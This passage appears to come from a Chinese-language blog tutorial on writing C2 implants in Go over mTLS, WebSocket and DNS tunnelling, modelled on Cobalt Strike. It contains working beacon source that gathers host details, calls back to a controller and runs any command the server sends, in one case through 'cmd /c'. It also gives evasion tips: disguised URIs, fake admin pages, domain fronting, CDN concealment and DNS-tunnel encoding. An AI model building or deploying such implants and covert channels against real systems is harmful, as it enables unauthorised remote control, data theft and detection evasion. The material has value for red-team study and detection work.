2.2.3 Beacon

beacon.go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
package main  

import (
"crypto/tls"
"crypto/x509"
"encoding/json"
"io"
"log"
"math/rand/v2"
"mtls/utils"
"os"
"os/exec"
"strings" // 长度前缀读写函数保持原样
)

type BeaconConfig struct {
Sleep int32
Jitter int32
CallBackAddress string
}

type HeartBeat struct {
BeaconId int32 `json:"beacon_id"`
Sleep int32 `json:"sleep"`
Jitter int32 `json:"jitter"`
PID int32 `json:"pid"`
ACP int32 `json:"acp"`
InternalIP int32 `json:"internal_ip"`
Computer string `json:"computer"`
Username string `json:"username"`
ProcessName string `json:"process_name"`
}

var beaconProfile = BeaconConfig{
Sleep: 5,
Jitter: 2,
CallBackAddress: "192.168.3.1:9443",
}

var heartBeat = HeartBeat{
BeaconId: rand.Int32(),
Sleep: beaconProfile.Sleep,
Jitter: beaconProfile.Jitter,
PID: int32(os.Getpid()),
ACP: utils.GetCodePageANSI(),
InternalIP: int32(utils.GetInternalIp()),
Computer: utils.GetComputerName(),
Username: utils.GetUsername(),
ProcessName: utils.GetProcessName(),
}

func main() {
cert, _ := tls.LoadX509KeyPair("client.pem", "client-key.pem")
caPEM, _ := os.ReadFile("ca.pem")
pool := x509.NewCertPool()
pool.AppendCertsFromPEM(caPEM)
conn, err := tls.Dial("tcp", beaconProfile.CallBackAddress, &tls.Config{
Certificates: []tls.Certificate{cert},
RootCAs: pool,
ServerName: "192.168.3.1",
MinVersion: tls.VersionTLS13,
})
if err != nil {
log.Fatalf("dial: %v", err)
}
defer conn.Close()

// 1. 先给服务器发个“上线包
data, err := json.Marshal(heartBeat)
if err != nil {
err = utils.WriteFrame(conn, []byte(err.Error()))
if err != nil {
log.Fatalf("send online: %v", err)
}
}
if err := utils.WriteFrame(conn, data); err != nil {
log.Fatalf("send online: %v", err)
}

// 2. 循环等命令
for {
cmdLine, err := utils.ReadFrame(conn)
if err != nil {
if err == io.EOF {
log.Println("server gone")
} else {
log.Printf("read: %v", err)
}
return
}

cmd := strings.TrimRight(string(cmdLine), "\r\n")
if cmd == "" {
continue
}

// 3. 执行
var out []byte
if strings.Contains(cmd, " ") {
// 带参数
parts := strings.Fields(cmd)
out, _ = exec.Command(parts[0], parts[1:]...).CombinedOutput()
} else {
out, _ = exec.Command(cmd).CombinedOutput()
}

// 4. 回结果(长度前缀帧)
if err := utils.WriteFrame(conn, out); err != nil {
log.Printf("write: %v", err)
return
}
}
}

mTLS Beacon的逻辑比较简单,主体思路就是读取client的私钥和证书以及CA的证书,配置号TLS的配置,使用 tls.Dial 发起连接。如果连接成功就给server发送一个metaData包,表明我活了,之后进入循环。如果server下发命令,则可以从socket读取,并将结果写入socket,同样用到了工具函数的 ReadFrameWriteFrame 从socket中读写数据。

2.3 流量分析

完成TCP三次握手,毕竟TLS使用TCP报文来封装,之后就是服务器会根据SNI中的主机名来选择相应的证书和密钥,以完成TLS握手过程。其余部分就是被加密后的应用数据。

补充一下,mtls beacon是可以通过域名去访问到server的。server.go的listenAddr修改为0.0.0.0,端口修改为可以出/入流量的端口,这个跟vps的安全组策略有关。

beacon.go的CallBackAddress修改为A记录域名(指向你的vps公网IP),注意要删除 ServerName,不然client验证server的证书会失败。

运行beacon,可以看到首先查询DNS服务器A记录域名所指向的ip地址是多少,也就是询问vps的ip是多少。

之后就是正常的tcp三次握手(太多tcp报文了,分不清),验证证书与交换密钥,以完成TLS握手过程。

能够正常执行命令与回传结果。

三、WebSocket

3.1 思路构建

WebSocket是一种全双工通信协议,即客户端可以向服务端发送请求,服务端也可以主动向客户端,主要应用有实时性要求的软件比如说wx、QQ等。在安全领域中,特别是最近几年出现了一种新型的内存马-WebSocket内存马,因其高隐蔽性(通过HTTP/HTTPS建立连接)、双向通信、易于混淆(可混淆uri,伪造成正常实时通信应用),而逐渐盛行,所以我就跟风研究一下通信原理并简单实现一个demo。

WebSocket作为通信协议通过 HTTP 80/443端口完成握手(这里的端口都是指server),随后流量变为 二进制帧,能够有效的突破防火墙限制,建立稳定的通信信道。

很多语言都实现了WebSocket协议,本人又会一点点go语言,所以代码采用Go的 github.com/gorilla/websocket 包来实现。

WebSocket协议本质上是一个基于TCP的协议,它的建立过程如下:

  1. 客户端(一般是浏览器)首先向服务器发送HTTP GET请求,请求头与普通的HTTP请求头不同,需要附加信息”Upgrade: WebSocket”表明这是一个申请协议升级的HTTP请求
  2. 服务器解析请求头,知道是要建立Websocket,返回应答信息给客户端
  3. 之后就是建立了WebSocket连接,双方通过这个信道传输数据,直到某一方主动关闭连接。

WebSocket需要实现长度前缀防止粘包吗?其实并不需要,WebSocket协议自身已经内置了完善的帧机制,它用自己的方式解决了“粘包”问题,因此在其之上应用层的开发者不需要再额外实现一套长度前缀的逻辑,这一切对开发者来说完全透明,无需关心。

说实话Websocket的思路构建与上面的mTLS类似,我就不在这里过多赘述了。

3.2 代码实现

3.2.1 server

定义一个全局升级器 Upgrader 负责把普通HTTP连接升级成WebSocket,主要依据HTTP中请求头是否有 Connection: Upgrade + Upgrade: websocket

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
/*  全局升级器  */
var upgrader = websocket.Upgrader{
CheckOrigin: func(r *http.Request) bool { return true },
}

const (
HOST = "192.168.3.1"
PORT = "8080"
)

func main() {
srv, err := ListenerStart(fmt.Sprintf("%s:%s", HOST, PORT))
if err != nil {
log.Fatal(err)
}

// 优雅退出
sig := make(chan os.Signal, 1)
signal.Notify(sig, syscall.SIGINT, syscall.SIGTERM)
<-sig

log.Println("shutting down...")
srv.Close()
}

ListenerStart:既然WebSocket是从普通的HTTP连接升级而来,那必定需要启动一个HTTP服务器,在这里不再需要Gin框架来弄出个HTTP服务器,直接使用 net/http 包简单的弄个HTTP服务器就可以了,将升级服务的uri定义为 /ws,这个路径也是可以换成其他的,然后对这个路径的请求交由 acceptConnections 处理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// ListenerStart 启动 HTTP监听器  
func ListenerStart(addr string) (*http.Server, error) {
mux := http.NewServeMux()
mux.HandleFunc("/ws", acceptConnections) // 把 WS 升级路径挂进去

srv := &http.Server{Addr: addr, Handler: mux}
go func() {
if err := srv.ListenAndServe(); err != nil && err != http.ErrServerClosed {
log.Fatalf("listen: %v", err)
}
}()
log.Println("websocket listener started on", addr)
return srv, nil
}

acceptConnections:用全局升级器 Upgrader 将HTTP升级到WebSocket后,把 conn 连接交给 handleConnection 处理业务逻辑

1
2
3
4
5
6
7
8
9
10
11
// acceptConnections HTTP升级到WS后,把连接交给handleConnection  
func acceptConnections(w http.ResponseWriter, r *http.Request) {
conn, err := upgrader.Upgrade(w, r, nil)
if err != nil {
log.Printf("upgrade: %v", err)
return
}
log.Printf("new websocket %v", conn.RemoteAddr())
// 一条 goroutine 对应一条 WS 连接
go handleConnection(conn)
}

handleConnection:这里主要实现业务相关的逻辑,很简单就是使用 conn.ReadMessage 从连接中读取心跳包,然后直接打印输出。

接下来就是进入主循环:

  1. 从标准出入中读取命令,并用 conn.WriteMessage(websocket.TextMessage, []byte(cmdLine)) 写入到连接中,其中 websocket.TextMessage 消息类型常量,它的作用就是按什么方式去处理数据,比如说 conn.WriteMessage(websocket.TextMessage, []byte(data)) 就是按文本的方式去写入数据到连接中。
  2. 接下来就是使用 conn.ReadMessage 读取回显,如果Beacon不使用 conn.WriteMessage 发送数据,则server会阻塞在这里
  3. 结果直接打印输出,没啥好说的。

补充消息类型:

符号常量 数值 含义
websocket.TextMessage 1 UTF-8 文本帧
websocket.BinaryMessage 2 二进制帧
websocket.CloseMessage 8 关闭帧(带状态码)
websocket.PingMessage 9 心跳 Ping
websocket.PongMessage 10 心跳 Pong
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
// handleConnection 从socket中读写数据  
func handleConnection(conn *websocket.Conn) {
defer conn.Close()

// 心跳包
_, online, _ := conn.ReadMessage()
log.Printf("online: %s", online)
conn.WriteMessage(websocket.TextMessage, []byte("server ok"))

for {

// 从标准输入中读取命令
fmt.Print("Cmd>>> ")
cmdLine, _ := bufio.NewReader(os.Stdin).ReadString('\n')
cmdLine = strings.TrimRight(cmdLine, "\r\n")
if cmdLine == "" {
continue
}

// 下发命令
if err := conn.WriteMessage(websocket.TextMessage, []byte(cmdLine)); err != nil {
break
}

// 读取回显
_, msg, err := conn.ReadMessage()

// 用来区分正常关闭还是异常断开。
if err != nil {
if websocket.IsUnexpectedCloseError(err,
websocket.CloseGoingAway, websocket.CloseNormalClosure) {
log.Printf("abnormal close: %v", err)
} else {
log.Println("client closed")
}
break
}

// 输出任务数据
log.Printf("output: %s\n", string(msg))

}
}

3.2.2 beacon

代码其实没啥好说的,其实本文中的所有代码示例都属于简单明了,只为看清数据之间的传输。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
package main  

import (
"bytes"
"encoding/json"
"github.com/gorilla/websocket"
"io"
"log"
"math/rand/v2"
"net/url"
"os"
"os/exec"
"websocket/utils")

type BeaconConfig struct {
Sleep int32
Jitter int32
CallBackAddress string
URI string
}

type HeartBeat struct {
BeaconId int32 `json:"beacon_id"`
Sleep int32 `json:"sleep"`
Jitter int32 `json:"jitter"`
PID int32 `json:"pid"`
ACP int32 `json:"acp"`
InternalIP int32 `json:"internal_ip"`
Computer string `json:"computer"`
Username string `json:"username"`
ProcessName string `json:"process_name"`
}

var beaconProfile = BeaconConfig{
Sleep: 5,
Jitter: 2,
CallBackAddress: "192.168.3.1:8080",
URI: "/ws",
}

var heartBeat = HeartBeat{
BeaconId: rand.Int32(),
Sleep: beaconProfile.Sleep,
Jitter: beaconProfile.Jitter,
PID: int32(os.Getpid()),
ACP: utils.GetCodePageANSI(),
InternalIP: int32(utils.GetInternalIp()),
Computer: utils.GetComputerName(),
Username: utils.GetUsername(),
ProcessName: utils.GetProcessName(),
}

func main() {
// 拨号 + WS 握手
u := url.URL{Scheme: "ws", Host: beaconProfile.CallBackAddress, Path: beaconProfile.URI}
conn, _, err := websocket.DefaultDialer.Dial(u.String(), nil)
if err != nil {
log.Fatalf("dial: %v", err)
}
defer conn.Close()

// 发送上线包
data, err := json.Marshal(heartBeat)
if err != nil {
log.Fatalf("marshal heartbeat: %v", err)
}
if err := conn.WriteMessage(websocket.TextMessage, data); err != nil {
log.Fatalf("send online: %v", err)
}
log.Println("a connection was successfully established")

for {
// 读取命令
_, cmdLine, err := conn.ReadMessage()
if err != nil {
if err == io.EOF {
log.Println("server gone")
} else {
log.Printf("read: %v", err)
}
return
}

if string(cmdLine) != "server ok" {
// 执行命令
cmd := exec.Command("cmd", "/c", string(cmdLine))
var outBuf, errBuf bytes.Buffer
cmd.Stdout = &outBuf
cmd.Stderr = &errBuf
err = cmd.Run()

// 获取输出
output := outBuf.String()
if output == "" {
output = errBuf.String()
}

if err != nil && output == "" {
output = err.Error()
}

// 回传结果
if err := conn.WriteMessage(websocket.TextMessage, []byte(output)); err != nil {
log.Printf("write: %v", err)
return
}
}
}
}

3.3 流量分析

Connection: Upgrade+Upgrade: websocket 表明这是一个HTTP升级WebSocket的请求包

服务器返回响应,转换协议

可以看到这是Beacon给Server的心跳包数据,很明显这是明文数据。

看了流量分析之后,又有了改进方向,我太懒了就不写了,在这里给思路

  1. 使用HTTP协议请求建立WSS连接,Beacon端修改 url.URLwebsocket.Dialer 有相关参数;Server在使用http.Server创建server对象时可以配置tls证书参数,具体怎么写找资料。
  2. 既然涉及到HTTP服务器,那我们就可以修改请求头,除此之外也可以起一个某某后台管理系统的html页面
  3. 升级WebSocket的uri路径可以修改成 /api/v1/sync 等符合像REST风格的形式
  4. 还是因为用到了HTTP协议, 我们可以使用域名前置+CDN 隐藏真实vps的IP
  5. etc ..

四、DNS

终于是来到本文中最具有挑战性和研究价值的C2通信协议——DNS,也是本人自认为写的还行的部分,希望对各位师傅有一点点帮助。

4.1 前置知识

(一)DNS协议

DNS(Domain Name System,域名系统)是互联网中用于将域名转换为 IP 地址的分布式系统,由于绝大多数企业防火墙和入侵检测系统都允许内部网络主机向外发起DNS查询(UDP 53端口),并且通常不会深入检查每个DNS数据包的有效载荷是否合规,这种通信方式得以混杂在海量的正常DNS流量中,难以被察觉。

在C2中我们可以借助DNS协议将通信流量伪装成正常的DNS查询从而有效地规避安全防护软件的检测,这种技术被称为DNS隧道(DNS Tunneling)

隧道:就是把一种协议的数据包(或字节流)完整封装进另一种协议的载荷(payload)里,让后者充当“运输卡车”,穿越原本无法直接通行的网络路径。。

DNS监听器是C2基础设施中极为特殊且关键的一类服务。与普通DNS服务器不同,它并非用于解析合法域名,而是专门用于解析由受控主机发起的、伪装成正常DNS查询的隐蔽通信。通过这种机制,攻击者得以实现远程命令控制和数据回传,使其成为绕过传统网络防御体系的核心枢纽

资源记录:也就是DNS数据库中的“一行”。

记录类型:DNS数据库里“这一行”到底存了什么种类的记录。常见的记录类型有:

类型代码 名称 含义与典型用途
1 A 返回4字节的IPv4地址,常用隐藏控制信号
2 NS 将某个域及其子域委托给另一个DNS服务器解析
5 CNAME 它可以将一个域名指向另一个域名,常用于CDN、多域名指向同一服务等
16 TXT 返回任意文本
28 AAAA 返回16字节的IPv6地址

在C2通信场景里,最常用的是:ATXTAAAA,≤4B用 A,≤16B用AAAA,大块数据用TXT分片;

(二)报文结构

报文结构

1
2
3
4
5
6
7
8
9
10
11
+---------------------+
| Header | 12 字节
+---------------------+
| Question | 问什么域名/类型
+---------------------+
| Answer | 答什么资源记录(RR)
+---------------------+
| Authority | 权威 NS(可选)
+---------------------+
| Additional | 附加信息(EDNS0 等)
+---------------------+

dns.Msg 实现了报文结构

1
2
3
4
5
6
7
8
9

type Msg struct {
MsgHdr
Compress bool `json:"-"` // If true, the message will be compressed when converted to wire format.
Question []Question // Holds the RR(s) of the question section.
Answer []RR // Holds the RR(s) of the answer section.
Ns []RR // Holds the RR(s) of the authority section.
Extra []RR // Holds the RR(s) of the additional section.
}

4.2 Cobalt Strike DNS Beacon使用

在计划之初我还想介绍一下sliver DNS beacon的使用,因为sliver是一个开源的项目,我可以一窥大佬们是如何实现DNS监听器的,但是不知道什么原因,我花了几天的时间都没能成功上线sliver DNS beacon,所以这里只介绍Cobalt Strike DNS Beacon使用。

(一)注册域名和添加记录

为了跟贴近实战,我们需要去可以云服务提供商(阿里云、腾讯云、aws、godaddy和cloudflare)注册一个域名,如何注册我就不再这里演示了。在这里,我花费巨资注册了一个域名,只为贴近实战>.<

这里明确一点:主机记录都是域名,记录值可以是ip地址也可以是域名或者其他,主要看记录类型。

来到 云解析DNS -> 解析配置 -> 公网权威解析,添加记录

增加一条A记录,将主机记录随意填,记录值为vps的公网ip地址,这样做的效果是 ns1.example.com -> vps的公网ip

增加一条NS记录,主机记录随意填比如说 1,记录值为A记录的主机记录 ns1.example.com,这样做的效果是任何关于 1.example.com 及其子域的DNS查询都将委托给域名为 ns1.example.com 的DNS服务器解析。而 ns1.example.com 正是再上一步操作中增加的A记录,也就意味着 1.example.com 及其子域是交由我们的vps来处理。

完成后,任何形如 *.1.example.com 的查询,递归服务器都会转给 ns1.example.comvps的公网ip;VPS只需在53上跑权威DNS(Cobalt Strike/Sliver/自写脚本皆可),即可接管该子域的所有解析请求,从而达到命令与控制的效果!

注册完后的DNS记录需要等待10分钟后才能生效,我们可以使用nslookup或者dig来测试A记录是否生效,NS记录也是同理

1
nslookup ns1.example.com

(二)创建DNS监听器并完成上线

是时候请出CS老祖了,我使用的是CS4.9.1进行测试,在涉及源码分析的时候用的是4.5,请注意区分!在vps上启动CS服务器,然后创建DNS监听器,最后进行如下配置

  • DNS Hosts:NS记录的域名
  • DNS Host (Stager):在DNS Hosts列表中随便挑选一个NS记录的域名。

参数的说明在cs官网:DNS 信标

上线后,会话表里主机图标显示黑色,无信息,且不能执行除 checkin 命令之外的任何命令。

输入 checkin 命令,强制让目标主机返回metadata, 这样主机信息就会显现出来。

正常执行命令

DNS Beacon支持三种不同模式的传输数据的方式,可以输入命令进行切换

  • mode dns:使用DNS A记录作为数据通道,A记录最常见,最不显眼,但是携带的数据量最有限(4byte)
  • mode dns-txt:使用DNS TXT记录作为数据通道,TXT查询较为少见,易触发IDS统计,携带数据量最多(与双方的约定有关,受多方因素制约),大部分场景用这种模式就行
  • mode dns6:使用DNS AAAA记录作为数据通道,AAAA记录逐渐常见,携带数据量一般(16 byte)

⚠注意:上述三种方式仅决定 Server→Beacon的任务数据如何封装,Beacon的上传数据仍通过子域标签组合完成回传,在下文 4.3 思路构建 会详细说明DNS C2的实现思路。

(三)流量分析

最后看看wireshark的流量,我们编写一个过滤规则,只查看相关的dns数据包。

1
dns and dns.qry.name contains "1.abcplus.xyz"

首先是上线的流量,可以看到NS记录 1.abcplus.xyz 与agentId 303c2df6 组成了待查询的子域 303c2df6.1.abcplus.xyz,后续的每一个DNS查询都要带上agentId。每过完一个 sleep 时间都会向server发送一次这样的查询,目的是证明beacon还活着。

下图是4.5 Beacon源码的 genagentid 函数。不同版本的cs genagentid 函数的算法可能不一样!

下图是4.5 客户端用于校验beaconid的 isDNSBeacon 函数

使用A记录DNS查询去拉取任务时,server会返回信号用于控制beacon的行为,具体来说就是server返回的ip转换成32位的整数,然后与dnsidle异或,得到真正的控制信号。

  • 如果控制信号为0(ip为0.0.0.0),就意味着团队服务器的任务队列中没有需要该beacon执行的任务;
  • 如果控制信号为240~245(ip为0.0.0.240~245),就要根据控制信号去来检查需要执行的任务。就比如说控制信号为242,就表明要用TXT查询去获取任务数据和处理任务数据。

执行 checkin 命令,以www作为前缀的子域在域名中携带了主机信息(metadata),也就是我们常说的心跳包。见下图看流量。

  • 第一个www前缀的域名表明了接下来的server要接收来自beacon的回传数据长度,其中 180 的解释:1表示用1个标签去传输这个数据,80 表示16进制表示的数据长度, 80 只有两个字符,所以只用1个标签就能传输
  • 后面两个就是要回传的数据了

来看看beacon源码是怎么定义回传结果的模板,主要是这个语句 _snprintf(c2domain, 1024, "%s1%x.%x%x.%s", type, length, reqno, nonce, domain);,即 <type>1<len>.<reqno>.<nonce>.<domain>

  • <type> 是前缀(如api、www、post),代码中是有定义的

  • 只用1个标签,就能传输“总字节数”。
  • <len>总字节数
  • reqno:序号,逐包递增,防止DNS缓存命中
  • nonce:它是一个随机数,用来唯一标识请求。
  • domain:NS记录。

⚠注意:可以看到下图中前缀后面没有跟着 .,而wireshark后面是跟着的,即 www.,这是什么原因我也不是很懂,在后面的 4.4 代码实现 中我是以带 . 为标准的做法。下图是长度是鞋带长度的域名

对于鞋带数据的域名如何构造,我先按下不表,等到了 4.4 代码实现 我在详细说明。

以api作为前缀的域名应该是与任务相关的操作吧,beacon首先发起A记录查询,server用 0.0.0.48 将信息返回给beacon,其中ip地址最后的48代表某种命令含义,这个我不是很了解,因为不是重写一个CS的Beacon,所以并不关心它代表什么含义。

最后的TXT记录类型查询 api.* 子域就是获取任务数据。

执行 ls 命令,beacon执行完命令后,会以post作为前缀的域名回传的执行结果,结果如何构造在下文的 4.4 代码实现 详细说明。

(四)需要注意的点

①放行udp 53的入端口

②53端口被占用

Ubuntu 16.10(2016 年 10 月) 开始,官方默认把本地DNS解析交给 systemd-resolved 服务,我们需要关闭它,请以root权限运行下面命令

1
systemctl stop systemd-resolved

测试完后记得开启,不然vps不能正常的访问外部服务(比如说下载软件包)

1
systemctl start systemd-resolved

③设置DNS服务器ip地址

如果你是在虚拟机测试,请设置DNS服务器为8.8.8.8或者 223.5.5.5,不然可能会没办法上线到CS的服务器。

4.3 思路构建

看完上述的流量分析,我相信各位师傅肯定是有自己的思路了,那我就献丑说一下自己的思路构建。

一般情况下,在DNS隧道场景中,DNS查询都是由beacon->server,也就是我们常说的反向连接,这就意味着我们需要Server需先监听53端口并托管一条NS记录,例如把子域 poll.example.com 的权威NS指向自己(ns1.example.com)。Beacon每次向 poll.example.com 发起TXT查询时,递归服务器会循NS记录把请求转发到Server的公网 IP,然后由Server来解析子域查询,并根据子域名标签的组合来决定采取任务下发还是结果处理的操作。

Beacon执行完任务后需要将结果回显到服务器,这又出现了一个问题:让Server向Beacon发起DNS查询不太现实(也不是不可能),并且beacon->server方向的查询只能请求数据,并不能将数据回传给服务器。

好在这个困难并非不能解决,查询单条DNS域名最长253字符,单个标签最长为63个字符,减去固定的域名部分(如 .c2.example.com),可用于携带数据的空间非常有限,这也就意味着我们可以将执行的结果拼接在域名上,如果要回传的结果太长,就可以分片回传,然后server根据某种方式拼接成最终的结果。metadata的回传与上述同理。

其实server传输给beacon的任务数据也有长度限制,单条txt记录为255字节,一个DNS响应报文运行存放多个txt记录,所以最终能返回给返回beacon的任务数据的最大长度受UDP、DNS协议限制以及EDNS0的影响,最终在本文中我限制最大为4096字节。

我就在想,除了上面在查询的域名中携带数据之外,还要什么方式能回传数据,我也查过网上资料都没有满意的答案,最后也问过ai,让我最难崩的是它给我瞎扯。可能我描述的有些不准确,更准确的描述应该是:“这里beacon回传数据给server只能将数据编码在域名中”

@I9`ZJDIO@C565NG`0K2@8E.png

在beacon源码中只有dns_get_txt、dns_get6和dns_get和dns_put,哪里来的dns_put_txt和dns_put6(反正在CS4.5的源码中是没看到),而且我也做了实验(用的是CS 4.9),三种模式都试了一遍,都是在域名中回传数据。

为了区分任务获取结果回显(包含metadata) 的DNS查询,我们可以规定任务获取使用 TXT 查询;结果回显使用 A 查询,更进一步区分可以在查询的域名中使用前缀,比如说 www. 表示回传 metadataapi. 表示任务获取;post. 表示结果回显。

值得说明的是,DNS 查询域名中允许出现的字符仅有:
• 数字 0-9
• 英文大小写字母 a-zA-Z
• 连接符 -
• 点号 .(仅作标签分隔符)

因此,任何回传数据在嵌入子域之前必须先做编码,把不可见字符、大写字母、符号、二进制数据统一转换为 小写字母+数字的安全形式。示例:asd.1.g34 是合法域名。我们看看前辈们用那些方式编码吧,在 sliver 的DNS C2用到了Base32和Base58两种编码方式,而CS Beacon只用了Hex格式的编码方式。不同编码它影响的是传输效率以及隐蔽性等方面,就比如说Base32无填充方案,一个字符对应5位数据,而HEX编码是一个字符对应4位数据,对应隐蔽性来说Base32和HEX都是数字和英文字母,除了回传数据时域名过长(最明显的特征),隐蔽性都差不多。

好了,说了这么多是时候总结上面的思路了:

  1. 核心模式:DNS Beacon采用反向连接,由Beacon主动向服务器发起DNS查询。
  2. 任务获取:Beacon通过查询TXT记录来从服务器接收任务指令。
  3. 结果回传:Beacon通过发起 A 查询,并将编码后的数据拼接在域名中来回传结果。
  4. 数据分片:因域名长度限制,较长数据需被分割成多个片段传输,再由服务器重组,需要在添加序号,方便server拼接。除了回传数据因长度限制而需要分片,Server传给beacon的任务数据也要分片,因为单条txt记录最大为255字节。对于大文件传输还要实现UDP分片。
  5. 编码必要性:为兼容域名格式,所有二进制或特殊字符数据在嵌入域名前必须进行编码,转换为仅包含数字、字母和连字符的安全格式。
  6. 编码选择:域名数据常用Base32/Base58和Hex编码;TXT记录中的数据则使用效率更高的Base64编码。

废话少说,直接开始写代码。

4.4 代码实现

下面所展示的代码不包含DNS服务器将NS记录委托给监听器,而是Beacon直接连接监听器,发送DNS查询,这与实战有些区别,但是主要的逻辑框架是完整的。

注意:我并非完全按照CS的做法编写代码,有很多地方都是 “我想这么写就这么写了” ,如果你是想重构Beacon,那么代码可能不会对你有任何帮助。

(一)发送心跳包-Beacon

(1)metadata包只发送一次

CS的做法是通过checkin命令让beacon回传metadata,使用checkin命令需要server返回ip给Beacon,Beacon解析ip得到控制信号,然后使用最后一个字节来表明用什么类型的记录去获取命令。

我的做法是:鉴于metadata稳定不变,我仅在上线时主动回传一次,其余情况都不传输,避免每次拉取任务都发送metadata影响速率和增大被检测的风险(频繁发送超长域名),也省去额外的控制信号交互。

既然metadata包只发送一次,要避免Beacon运行了,而Server监听器未启动导致metadata包丢失,需要有重传机制,保证metadata包一定送达到server后才进行下一步操作。这个重传机制不仅是用在发送metadata包,还可以用在回传数据包或者其他A记录查询。根据上面的思路很容易得到下面的代码,channelLookupRetry_A 发送A记录失败就重传,而 sendA 是具体实现DNS A记录查询的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
func channelLookupRetry_A(domain, dnsServer string, retry int) uint8 {  
for i := 0; i < retry; i++ {
if signal := sendA(domain, dnsServer); signal != SIGNAL_RETRY {
return signal
}
time.Sleep(5 * time.Second)
}
return SIGNAL_EXIT
}

// sendA 成功返回 0x00~0xFC;网络层失败返回 SIGNAL_RETRY
func sendA(domain, server string) uint8 {
// 创建一个新的 DNS 消息对象
m := new(dns.Msg)
// 设置查询的域名和类型为 A 记录
m.SetQuestion(dns.Fqdn(domain), dns.TypeA)
// 启用递归查询
m.RecursionDesired = true

// 1. 建立 UDP 连接(仅本地建套接字,无网络流量)
// 尝试连接到指定的 DNS 服务器
co, err := net.Dial("udp", server)
if err != nil {
return SIGNAL_RETRY
}
defer co.Close() // 确保函数返回前关闭连接

// 2. 给整个连接加超时
// 设置读写超时时间为 5 秒
if err := co.SetDeadline(time.Now().Add(5 * time.Second)); err != nil {
return SIGNAL_RETRY
}

// 创建 DNS 连接对象,设置 UDP 缓冲区大小为 4096
dnsConn := &dns.Conn{Conn: co, UDPSize: 4096}

// 3. 发送 DNS 查询消息
if err := dnsConn.WriteMsg(m); err != nil {
return SIGNAL_RETRY
}

// 4. 接收 DNS 响应消息
r, err := dnsConn.ReadMsg()
if err != nil {
return SIGNAL_RETRY
}

// 5. 打印第一条 A 记录
// 遍历响应中的所有答案
for _, ans := range r.Answer {
// 检查是否为 A 记录类型
if a, ok := ans.(*dns.A); ok {
// 获取 IP 地址的最后一个字节作为信号
signal := a.A.To4()[3]
fmt.Printf("%s -> %s signal=%d(0x%02X)\n", domain, a.A.String(), signal, signal)
return signal
}
}
return SIGNAL_RETRY // 没有A记录也返回重试信号
}

(2)编码的选择

在思路构建的时候我就说了,域名只能由数字 0-9 、英文大小写字母 a-zA-Z、连接符 - 、点号 .(仅作标签分隔符)组成,如何将二进制的数据编码成符合条件的域名组合就成了挑战。如果使用Base32编码时一定要注意使用无填充方案,即不使用“=”填充,这是因为根据DNS标准,域名中不能带“=”。

我下文中是选择使用HEX编码,利用主要还是简单,并且能抄CS DNS Beacon的实现,如果想回传更多的数据,更推荐使用Base32,这是因为Base32一个字符对应5位数据,而HEX编码一个字符对应4位数据。

(3)档位设计

现在为什么回答上文(三)流量分析提出的问题:回传的数据要如何构造?

按照CS的做法是

使用HEX编码,每2个字符对应一个字节,每8个字符为一组,一组得到4个字节的数据,刚好对应32位(int32),一个标签最多为63个字符,也就意味着一个标签最大有7组,能携带28个字节的数据。

为了使传输效率最大化,单个标签应该仅能达到56个字符,当然为了使档位变化更为平滑,实际做法是同一个档位用于传输的标签的字符尽可能个数保持一致。比如说3档位需要3个标签传输数据,每个标签应该为56个字符。当然都有例外,比如4档需要4个标签,第一个标签40个字符,而后面的3个标签每个都是56个字符。详细见下表格。

平滑降级:档位变化平滑(如104B→84B→56B→…),根据剩余传输数据长度平滑降档。

模板

  • 长度:www.<lablecount>.<长度>.<reqno+nonce>.<agentid>.<domain>
  • 数据:www.<lablecount>.<hex-seg-1>.<hex-seg-2>...<hex-seg-N>.<reqno+nonce>.<agentid>.<domain>
档位 每次发送字节数 数据块数量 分组方式 最大域名长度估算
4 104 B 26 组 5+7+7+7 26×8 + 固定部分 ≈ 208字符
3 84 B 21 组 7+7+7 21×8 + 固定部分 ≈ 168字符
2a 56 B 14 组 7+7 14×8 + 固定部分 ≈ 112字符
2b 48 B 12 组 6+6 12×8 + 固定部分 ≈ 96字符
2c 40 B 10 组 5+5 10×8 + 固定部分 ≈ 80字符
1a 28 B 7 组 7 7×8 + 固定部分 ≈ 56字符
1b 24 B 6 组 6 6×8 + 固定部分 ≈ 48字符
1c 20 B 5 组 5 5×8 + 固定部分 ≈ 40字符
1d 16 B 4 组 4 4×8 + 固定部分 ≈ 32字符
1e 12 B 3 组 3 3×8 + 固定部分 ≈ 24字符
1f 8 B 2 组 2 2×8 + 固定部分 ≈ 16字符
0 4 B 1 组 1 1×8 + 固定部分 ≈ 8字符

可以看到上表中,每个档位都是4B的整数倍,这时你可能会有一个疑问:要传输的数据不是4B的整数倍要怎么处理?

如果要传输的数据不是4B的整数倍,按照平滑降级原则,最终一定会是这几种情况:①剩余1B;②剩余2B;③剩余3B,按照CS的做法是你不够我就给你高位补0,来到4B大小,刚好对应最后一档。可以看到下图,初始化了一个全为0的 unsigned int 的data变量,所以即使要传输的数据不够4B也算按4B发送,高位还是0,不影响。

上面已经大致介绍CS的域名构造的原理了,下面就是要介绍代码的实现,我们可以按照CS的风格写出Go语言的代码。

